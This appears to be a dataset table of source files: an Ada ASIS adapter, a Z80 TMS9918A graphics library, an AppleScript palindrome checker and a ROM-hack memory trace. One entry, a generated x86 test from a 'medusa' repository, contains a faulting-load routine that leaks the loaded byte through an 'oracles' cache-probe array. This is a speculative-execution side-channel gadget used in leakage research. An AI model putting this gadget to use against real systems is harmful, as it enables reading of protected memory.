max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
---|---|---|---|---|
src/frontend/Experimental_Ada_ROSE_Connection/parser/asis_adapter/source/asis_adapter-element-paths.adb | matzke1/rose | 0 | 9382 | <filename>src/frontend/Experimental_Ada_ROSE_Connection/parser/asis_adapter/source/asis_adapter-element-paths.adb
with Asis.Elements;
with Asis.Statements;
package body Asis_Adapter.Element.Paths is
------------
-- EXPORTED:
------------
procedure Do_Pre_Child_Processing
(Element : in Asis.Element; State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Do_Pre_Child_Processing";
Result : a_nodes_h.Path_Struct :=
a_nodes_h.Support.Default_Path_Struct;
Path_Kind : constant Asis.Path_Kinds := Asis.Elements.Path_Kind (Element);
procedure Add_Case_Path_Alternative_Choices is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Case_Path_Alternative_Choices (Element),
Dot_Label_Name => "Case_Path_Alternative_Choices",
List_Out => Result.Case_Path_Alternative_Choices,
Add_Edges => True);
end;
procedure Add_Condition_Expression is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Condition_Expression (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Condition_Expression", ID);
Result.Condition_Expression := ID;
end;
procedure Add_Guard is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Guard (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Guard", ID);
Result.Guard := ID;
end;
procedure Add_Sequence_Of_Statements is
begin
if Path_Kind in Asis.A_Statement_Path then
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Sequence_Of_Statements (Element),
Dot_Label_Name => "Sequence_Of_Statements",
List_Out => Result.Sequence_Of_Statements,
Add_Edges => True);
else
-- Asis.Statements.Sequence_Of_Statements doesn't like paths outside
-- A_Statement_Path:
State.Add_Not_Implemented;
end if;
end;
procedure Add_Common_Items is
begin
State.Add_To_Dot_Label ("Path_Kind", Path_Kind'Image);
Result.Path_Kind := anhS.To_Path_Kinds (Path_Kind);
Add_Sequence_Of_Statements; -- Has Add_Not_Implemented
end Add_Common_Items;
use all type Asis.Path_Kinds;
begin
If Path_Kind /= Not_A_Path then
Add_Common_Items; -- Has Add_Not_Implemented
end if;
case Path_Kind is
when Not_A_Path =>
raise Program_Error with
Module_Name & " called with: " & Path_Kind'Image;
when An_If_Path =>
Add_Condition_Expression;
when An_Elsif_Path =>
Add_Condition_Expression;
when An_Else_Path =>
null; -- No more info
when A_Case_Path =>
Add_Case_Path_Alternative_Choices;
when A_Select_Path =>
Add_Guard;
when An_Or_Path =>
Add_Guard;
when A_Then_Abort_Path =>
null; -- No more info
when A_Case_Expression_Path => -- A2012
Add_Case_Path_Alternative_Choices;
when An_If_Expression_Path => -- A2012
Add_Condition_Expression;
when An_Elsif_Expression_Path => -- A2012
Add_Condition_Expression;
when An_Else_Expression_Path => -- A2012
null; -- No more info
end case;
State.A_Element.Element_Kind := a_nodes_h.A_Path;
State.A_Element.The_Union.Path := Result;
end Do_Pre_Child_Processing;
end Asis_Adapter.Element.Paths;
|
examples/tms.asm | feilipu/TMS9918A | 1 | 161603 | <reponame>feilipu/TMS9918A<filename>examples/tms.asm
; TMS9918A graphics subroutines
; Copyright 2018 <NAME>
;
; Permission is hereby granted, free of charge, to any person obtaining a
; copy of this software and associated documentation files (the "Software"),
; to deal in the Software without restriction, including without limitation
; the rights to use, copy, modify, merge, publish, distribute, sublicense,
; and/or sell copies of the Software, and to permit persons to whom the
; Software is furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in
; all copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
; FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
; DEALINGS IN THE SOFTWARE.
; ---------------------------------------------------------------------------
; configuration parameters
tmsram: equ $be ; TMS9918A VRAM port
tmsreg: equ $bf ; TMS9918A register port
tmswait: equ 1 ; wait divisor
; How this works: in the worst case scenario, the TMS9918A needs a delay of
; at least 8us between VRAM accesses from the CPU. I have counted CPU cycles
; used by the code in this library and when the code doesn't produce enough
; of a delay between memory accesses naturally, I inserted nops to increase
; the delay. The maximum number of nops added assume a 10MHz clock. When
; using a slower clock, fewer nops would be required. tmswait is used as
; the divisor when calculating the number of nops, so a higher divisor
; results in fewer nops being inserted into the code. Conservative values:
;
; 1 for <= 10 MHz
; 2 for <= 5 MHz
; 3 for <= 3.33 MHz
; ... and so on
; ---------------------------------------------------------------------------
; register constants
tmswritebit: equ $40 ; bit to indicate memory write
tmsregbit: equ $80 ; bit to indicate register write
tmsctrl0: equ 0 ; control bits
tmsmode3: equ 1 ; mode bit 3
tmsextvid: equ 0 ; external video
tmsctrl1: equ 1 ; control bits
tms4k16k: equ 7 ; 4/16K RAM
tmsblank: equ 6 ; screen blank
tmsinten: equ 5 ; interrupt enable
tmsmode1: equ 4 ; mode bit 1
tmsmode2: equ 3 ; mode bit 2
tmssprsize: equ 1 ; sprite size
tmssprmag: equ 0 ; sprite magnification
tmsnametbl: equ 2 ; name table location (* $400)
tmscolortbl: equ 3 ; color table location (* $40)
; graphics 2 mode: MSB 0 = $0000, MSB 1 = $2000
tmspattern: equ 4 ; pattern table location (* $800)
tmsspriteattr: equ 5 ; sprite attribute table (* $80)
tmsspritepttn: equ 6 ; sprite pattern table (* $800)
tmscolor: equ 7 ; screen colors (upper = text, lower = background)
; ---------------------------------------------------------------------------
; color constants
tmstransparent: equ 0
tmsblack: equ 1
tmsmedgreen: equ 2
tmslightgreen: equ 3
tmsdarkblue: equ 4
tmslightblue: equ 5
tmsdarkred: equ 6
tmscyan: equ 7
tmsmedred: equ 8
tmslightred: equ 9
tmsdarkyellow: equ $A
tmslightyellow: equ $B
tmsdarkgreen: equ $C
tmsmagenta: equ $D
tmsgray: equ $E
tmswhite: equ $F
; ---------------------------------------------------------------------------
; register configuration routines
; shadow copy of register values
tmsshadow:
defs 8, 0
; set a single register value
; A = register value
; E = register to set
tmssetreg:
ld hl, tmsshadow ; get shadow table address
ld d, 0
add hl, de ; add offset to selected register
ld (hl), a ; save to shadow slot
out (tmsreg), a ; send to TMS
ld a, tmsregbit ; select requested register
or e
out (tmsreg), a
ret
; set the background color
; A = requested color
tmsbackground:
and $0F ; mask off high nybble
ld b, a ; save for later
ld a, (tmsshadow+tmscolor) ; get current colors
and $F0 ; mask off old background
or b ; set new background
ld e, tmscolor
jp tmssetreg ; set the color
; enable vblank interrupts
tmsintenable:
ld a, (tmsshadow+tmsctrl1) ; get current control register value
set tmsinten, a ; set interrupt enable bit
ld e, tmsctrl1
jp tmssetreg ; save it back
; disable vblank interrupts
tmsintdisable:
ld a, (tmsshadow+tmsctrl1) ; get current control register value
res tmsinten, a ; clear interrupt enable bit
ld e, tmsctrl1
jp tmssetreg ; save it back
; configure tms from specified register table
; HL = register table
tmsconfig:
ld de, tmsshadow ; start of shadow area
ld c, 8 ; 8 registers
regloop:
ld a, (hl) ; get register value from table
out (tmsreg), a ; send it to the TMS
ld a, 8 ; calculate current register number
sub c
or tmsregbit ; set high bit to indicate a register
ldi ; shadow, then inc pointers and dec counter
out (tmsreg), a ; send it to the TMS
xor a ; continue until count reaches 0
or c
jr nz, regloop
ret
; ---------------------------------------------------------------------------
; memory access routines
; set the next address of vram to write
; DE = address
tmswriteaddr:
ld a, e ; send lsb
out (tmsreg), a
ld a, d ; mask off msb to max of 16KB
and $3F
or $40 ; set second highest bit to indicate write
out (tmsreg), a ; send msb
ret
; set the next address of vram to read
; DE = address
tmsreadaddr:
ld a, e ; send lsb
out (tmsreg), a
ld a, d ; mask off msb to max of 16KB
and $3F
out (tmsreg), a ; send msb
ret
; copy bytes from ram to vram
; HL = ram source address
; DE = vram destination address
; BC = byte count
tmswrite:
call tmswriteaddr ; set the starting address
copyloop:
ld a, (hl) ; get the current byte from ram
out (tmsram), a ; send it to vram
defs 11/tmswait, 0 ; nops to waste time
inc hl ; next byte
dec bc ; continue until count is zero
ld a, b
or c
jr nz, copyloop
ret
; fill a section of memory with a single value
; A = value to fill
; DE = vram destination address
; BC = byte count
tmsfill:
push af
call tmswriteaddr ; set the starting address
pop af
fillloop:
out (tmsram), a ; send it to vram
defs 11/tmswait, 0 ; nops to waste time
dec c
jp nz, fillloop
djnz fillloop ; continue until count is zero
ret
; ---------------------------------------------------------------------------
; text routines
; set text color
; A = requested color
tmstextcolor:
add a, a ; shift text color into high nybble
add a, a
add a, a
add a, a
ld b, a ; save for later
ld a, (tmsshadow+tmscolor) ; get current colors
and $0F ; mask off old text color
or b ; set new text color
ld e, tmscolor
jp tmssetreg ; save it back
; set the address to place text at X/Y coordinate
; A = X
; E = Y
tmstextpos:
ld d, 0
ld hl, 0
add hl, de ; Y x 1
add hl, hl ; Y x 2
add hl, hl ; Y x 4
add hl, de ; Y x 5
add hl, hl ; Y x 10
add hl, hl ; Y x 20
add hl, hl ; Y x 40
ld e, a
add hl, de ; add column for final address
ex de, hl ; send address to TMS
call tmswriteaddr
ret
; copy a null-terminated string to VRAM
; HL = ram source address
tmsstrout:
ld a, (hl) ; get the current byte from ram
cp 0 ; return when NULL is encountered
ret z
out (tmsram), a ; send it to vram
defs 14/tmswait, 0 ; nops to waste time
inc hl ; next byte
jr tmsstrout
; repeat a character a certain number of times
; A = character to output
; B = count
tmschrrpt:
out (tmsram), a
defs 14/tmswait, 0
djnz tmschrrpt
ret
; output a character
; A = character to output
tmschrout:
out (tmsram), a
defs 14/tmswait, 0
ret
; ---------------------------------------------------------------------------
; bitmap routines
tmsclearpixel: equ $A02F ; cpl, and b
tmssetpixel: equ $00B0 ; nop, or b
; set operation for tmsplotpixel to perform
; HL = pixel operation (tmsclearpixel, tmssetpixel)
tmspixelop:
ld (maskop), hl
ret
; set or clear pixel at X, Y position
; B = Y position
; C = X position
tmsplotpixel:
ld a, b ; don't plot Y coord > 191
cp 192
ret nc
call tmsxyaddr ; get address for X/Y coord
call tmsreadaddr ; set read within pattern table
ld hl, masklookup ; address of mask in table
ld a, c ; get lower 3 bits of X coord
and 7
ld b, 0
ld c, a
add hl, bc
ld a, (hl) ; get mask in A
ld c, tmsram ; get previous byte in B
in b, (c)
maskop:
or b ; mask bit in previous byte
ld b, a
call tmswriteaddr ; set write address within pattern table
out (c), b
ret
masklookup:
defb 80h, 40h, 20h, 10h, 8h, 4h, 2h, 1h
; set the color for a block of pixels in bitmap mode
; B = Y position
; C = X position
; A = foreground/background color to set
tmspixelcolor:
call tmsxyaddr
ld hl, 2000h ; add the color table base address
add hl, de
ex de, hl
call tmswriteaddr ; set write address within color table
out (tmsram), a ; send to TMS
ret
; calculate address byte containing X/Y coordinate
; B = Y position
; C = X position
; returns address in DE
tmsxyaddr:
ld a, b ; d = (y / 8)
rrca
rrca
rrca
and 1fh
ld d, a
ld a, c ; e = (x & f8)
and 0f8h
ld e, a
ld a, b ; e += (y & 7)
and 7
or e
ld e, a
ret
; ---------------------------------------------------------------------------
; initialization routines
; register values for blanked screen with 16KB RAM enabled
tmsblankreg:
defb $00, $80, $00, $00, $00, $00, $00, $00
; reset registers and clear all 16KB of video memory
tmsreset:
ld hl, tmsblankreg ; blank the screen with 16KB enabled
call tmsconfig
ld de, 0 ; start a address 0000H
call tmswriteaddr
ld de, $4000 ; write 16KB
ld bc, tmsram ; writing 0s to vram
clearloop:
out (c), b ; send to vram
dec de ; continue until counter is 0
ld a, d
or e
jr nz, clearloop
ret
; register values for multicolor mode
tmsmcreg:
defb %00000000 ; external video disabled
defb %11001000 ; 16KB, display enabled, multicolor mode
defb $02 ; name table at $8000
defb $00 ; color table not used
defb $00 ; pattern table at $0000
defb $76 ; sprite attribute table at $3B00
defb $03 ; sprite pattern table at $1800
defb $00 ; black background
; initialize tms for multicolor mode
tmsmulticolor:
call tmsreset ; blank the screen and clear vram
ld de, $0800 ; set name table start address
call tmswriteaddr
ld d, 6 ; nametable has 6 different sections
ld e, 0 ; first section starts at 0
sectionloop:
ld c, 4 ; each section has 4 identical lines
lineloop:
ld b, 32 ; each line is 32 bytes long
ld a, e ; load the section's starting value
byteloop:
out (tmsram), a ; output current name byte
nop ; extra time to finish vram write
inc a ; increment name byte
djnz byteloop ; next byte
dec c ; decrement line counter
jr nz, lineloop ; next line
ld a, e ; next section's starting value is 32
add a, 32 ; ...more than the previous section
ld e, a
dec d ; decrement section counter
jr nz, sectionloop ; next section
ld hl, tmsmcreg ; switch to multicolor mode
call tmsconfig
ret
; register values for bitmapped graphics
tmsbitmapreg:
defb %00000010 ; bitmap mode, no external video
defb %11000010 ; 16KB ram; enable display
defb $0e ; name table at $3800
defb $ff ; color table at $2000
defb $03 ; pattern table at $0
defb $76 ; sprite attribute table at $3B00
defb $03 ; sprite pattern table at $1800
defb $01 ; black background
; initialize TMS for bitmapped graphics
tmsbitmap:
call tmsreset
ld de, $3800 ; initialize nametable with 3 sets
call tmswriteaddr ; of 256 bytes ranging from 00-FF
ld b, 3
ld a, 0
nameloop:
out (tmsram), a
nop
inc a
jr nz, nameloop
djnz nameloop
ld hl, tmsbitmapreg ; configure registers for bitmapped graphics
call tmsconfig
ret
tmstilereg:
defb %00000000 ; graphics 1 mode, no external video
defb %11000000 ; 16K, enable display, disable interrupt
defb $05 ; name table at $1400
defb $80 ; color table at $2000
defb $01 ; pattern table at $800
defb $20 ; sprite attribute table at $1000
defb $00 ; sprite pattern table at $0
defb $01 ; black background
; initialize TMS for tiled graphics
tmstile:
call tmsreset
ld hl, tmstilereg
call tmsconfig
ret
tmstextreg:
defb %00000000 ; text mode, no external video
defb %11010000 ; 16K, Enable Display, Disable Interrupt
defb $00 ; name table at $0000
defb $00 ; color table not used
defb $01 ; pattern table at $0800
defb $00 ; sprite attribute table not used
defb $00 ; sprite pattern table not used
defb $F1 ; white text on black background
; initialize TMS for text mode
; HL = address of font to load
tmstextmode:
push hl ; save address of font
call tmsreset
pop hl ; load font into pattern table
ld de, $0800
ld bc, $0800
call tmswrite
ld hl, tmstextreg
call tmsconfig
ret |
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_21829_1315.asm | ljhsiun2/medusa | 9 | 28345 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x15642, %rsi
lea addresses_WC_ht+0x9bc2, %rdi
clflush (%rdi)
nop
nop
nop
xor %r8, %r8
mov $100, %rcx
rep movsw
nop
nop
nop
xor %r9, %r9
lea addresses_WC_ht+0xd74a, %rsi
lea addresses_WT_ht+0x9dc2, %rdi
sub %r10, %r10
mov $72, %rcx
rep movsw
nop
nop
nop
dec %rdi
lea addresses_A_ht+0x9682, %rdi
nop
and $64430, %r10
movb (%rdi), %r8b
nop
nop
nop
nop
cmp $28949, %rsi
lea addresses_D_ht+0xd528, %r9
nop
add %r14, %r14
movb $0x61, (%r9)
nop
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_D_ht+0x18b4a, %rcx
nop
nop
nop
nop
cmp $41339, %r14
mov (%rcx), %esi
nop
nop
nop
xor %rdi, %rdi
lea addresses_WC_ht+0xfac2, %r14
nop
nop
nop
nop
nop
and $55196, %r9
movw $0x6162, (%r14)
nop
nop
nop
nop
dec %r8
lea addresses_D_ht+0x1952a, %rsi
lea addresses_UC_ht+0x1efe2, %rdi
nop
nop
add $65099, %r15
mov $49, %rcx
rep movsw
nop
and %r9, %r9
lea addresses_A_ht+0x1b2c2, %rsi
lea addresses_A_ht+0x82c2, %rdi
nop
inc %r8
mov $34, %rcx
rep movsw
nop
nop
add %r15, %r15
lea addresses_normal_ht+0xc644, %rsi
lea addresses_normal_ht+0xf52a, %rdi
nop
nop
nop
nop
nop
xor %r10, %r10
mov $38, %rcx
rep movsq
nop
inc %r9
lea addresses_D_ht+0x186c2, %r10
nop
nop
add $29727, %r14
vmovups (%r10), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rsi
nop
nop
xor $28576, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
// Store
lea addresses_normal+0x18ec2, %rdi
nop
nop
nop
nop
nop
add %rax, %rax
mov $0x5152535455565758, %r15
movq %r15, %xmm1
vmovups %ymm1, (%rdi)
nop
nop
nop
nop
add $18885, %r15
// Store
lea addresses_PSE+0x2ec2, %r11
nop
sub %rax, %rax
movw $0x5152, (%r11)
nop
nop
dec %r11
// Store
lea addresses_D+0x49c3, %r13
nop
and $35147, %r14
mov $0x5152535455565758, %r15
movq %r15, %xmm2
vmovups %ymm2, (%r13)
nop
nop
nop
and %rax, %rax
// REPMOV
lea addresses_US+0x13a9d, %rsi
lea addresses_normal+0x17ac2, %rdi
clflush (%rdi)
and %r14, %r14
mov $7, %rcx
rep movsw
nop
nop
nop
nop
nop
sub $28348, %rdi
// Faulty Load
mov $0x36e11f00000002c2, %r15
nop
nop
xor %r13, %r13
movups (%r15), %xmm7
vpextrq $0, %xmm7, %rax
lea oracles, %r14
and $0xff, %rax
shlq $12, %rax
mov (%r14,%rax,1), %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}}
{'src': {'type': 'addresses_US', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal', 'congruent': 10, 'same': False}}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'size': 1, 'NT': False, 'same': True, 'congruent': 5}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 9}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Task/Palindrome-detection/AppleScript/palindrome-detection.applescript | LaudateCorpus1/RosettaCodeData | 1 | 1932 | use framework "Foundation"
-- CASE-INSENSITIVE PALINDROME, IGNORING SPACES ? ----------------------------
-- isPalindrome :: String -> Bool
on isPalindrome(s)
s = intercalate("", reverse of characters of s)
end isPalindrome
-- toSpaceFreeLower :: String -> String
on spaceFreeToLower(s)
script notSpace
on |λ|(s)
s is not space
end |λ|
end script
intercalate("", filter(notSpace, characters of toLower(s)))
end spaceFreeToLower
-- TEST ----------------------------------------------------------------------
on run
isPalindrome(spaceFreeToLower("In girum imus nocte et consumimur igni"))
--> true
end run
-- GENERIC FUNCTIONS ---------------------------------------------------------
-- filter :: (a -> Bool) -> [a] -> [a]
on filter(f, xs)
tell mReturn(f)
set lst to {}
set lng to length of xs
repeat with i from 1 to lng
set v to item i of xs
if |λ|(v, i, xs) then set end of lst to v
end repeat
return lst
end tell
end filter
-- intercalate :: Text -> [Text] -> Text
on intercalate(strText, lstText)
set {dlm, my text item delimiters} to {my text item delimiters, strText}
set strJoined to lstText as text
set my text item delimiters to dlm
return strJoined
end intercalate
-- Lift 2nd class handler function into 1st class script wrapper
-- mReturn :: Handler -> Script
on mReturn(f)
if class of f is script then
f
else
script
property |λ| : f
end script
end if
end mReturn
-- toLower :: String -> String
on toLower(str)
set ca to current application
((ca's NSString's stringWithString:(str))'s ¬
lowercaseStringWithLocale:(ca's NSLocale's currentLocale())) as text
end toLower
|
dino/lcs/enemy/44.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | 6 | 14471 | copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
004D3A move.l D0, (A4)+
004D3C move.l D0, (A4)+
01291A movea.l ($44,A2), A4
01291E adda.w D0, A4 [123p+ 44, 123p+ 46, enemy+44, enemy+46, item+44, item+46]
012928 movea.l ($44,A3), A6
01292C adda.w D1, A6 [123p+ 44, 123p+ 46, enemy+44, enemy+46, item+44, item+46]
0129B8 movea.l ($44,A3), A6
0129BC move.w (A6,D1.w), D1 [enemy+44, enemy+46]
012A5C movea.l ($44,A2), A4
012A60 add.w D0, D0 [enemy+44, enemy+46]
012A6E movea.l ($44,A3), A6
012A72 adda.w D1, A6 [123p+ 44, 123p+ 46, enemy+44, enemy+46]
0338A6 move.l #$103000, ($44,A6)
0338AE clr.b ($4a,A6) [enemy+44, enemy+46]
0338DA move.l #$103000, ($44,A6)
0338E2 clr.b ($4a,A6) [enemy+44, enemy+46]
03390E move.l #$103000, ($44,A6)
033916 clr.b ($4a,A6) [enemy+44, enemy+46]
0359C0 move.l #$103c00, ($44,A6)
0359C8 clr.b ($4a,A6) [enemy+44, enemy+46]
03B2F0 move.l #$103c00, ($44,A6)
03B2F8 clr.b ($4a,A6) [enemy+44, enemy+46]
03B86A move.l #$103000, ($44,A6)
03B872 clr.b ($4a,A6) [enemy+44, enemy+46]
03DE6C move.l #$103c00, ($44,A6)
03DE74 clr.b ($4a,A6) [enemy+44, enemy+46]
040332 move.l #$103c00, ($44,A6)
04033A clr.b ($4a,A6) [enemy+44, enemy+46]
04212C move.l #$103000, ($44,A6) [enemy+40, enemy+42]
042134 clr.b ($4a,A6) [enemy+44, enemy+46]
042626 move.l #$103000, ($44,A6)
04262E clr.b ($4a,A6) [enemy+44, enemy+46]
045824 move.l #$103000, ($44,A6)
04582C clr.b ($4a,A6) [enemy+44, enemy+46]
0483C0 move.l #$106000, ($44,A6)
0483C8 move.b #$1, ($4a,A6) [enemy+44, enemy+46]
04D920 move.l #$103000, ($44,A6)
04D928 clr.b ($4a,A6) [enemy+44, enemy+46]
04DD3A move.l #$106000, ($44,A6)
04DD42 move.b #$1, ($4a,A6) [enemy+44, enemy+46]
04FD7A move.l #$103000, ($44,A6)
04FD82 clr.b ($4a,A6) [enemy+44, enemy+46]
0512CA move.l #$103c00, ($44,A6)
0512D2 clr.b ($4a,A6) [enemy+44, enemy+46]
053450 move.l #$103c00, ($44,A6)
053458 clr.b ($4a,A6) [enemy+44, enemy+46]
0558AA move.l #$103c00, ($44,A6) [enemy+63]
0558B2 clr.b ($4a,A6) [enemy+44, enemy+46]
055B40 move.l #$103000, ($44,A6)
055B48 clr.b ($4a,A6) [enemy+44, enemy+46]
0572AC move.l #$103c00, ($44,A6)
0572B4 clr.b ($4a,A6) [enemy+44, enemy+46]
0578B8 move.l #$103c00, ($44,A6)
0578C0 clr.b ($4a,A6) [enemy+44, enemy+46]
057FC8 move.l #$103c00, ($44,A6)
057FD0 clr.b ($4a,A6) [enemy+44, enemy+46]
0580DA move.l #$103c00, ($44,A6)
0580E2 clr.b ($4a,A6) [enemy+44, enemy+46]
0584D4 move.l #$103c00, ($44,A6)
0584DC clr.b ($4a,A6) [enemy+44, enemy+46]
05A4C2 move.l #$103c00, ($44,A6)
05A4CA clr.b ($4a,A6) [enemy+44, enemy+46]
05AAD2 move.l #$103c00, ($44,A6)
05AADA clr.b ($4a,A6) [enemy+44, enemy+46]
05B0AC move.l #$103000, ($44,A6) [enemy+6E]
05B0B4 clr.b ($4a,A6) [enemy+44, enemy+46]
05B930 move.l #$c0100000, ($44,A6) [enemy+ 6]
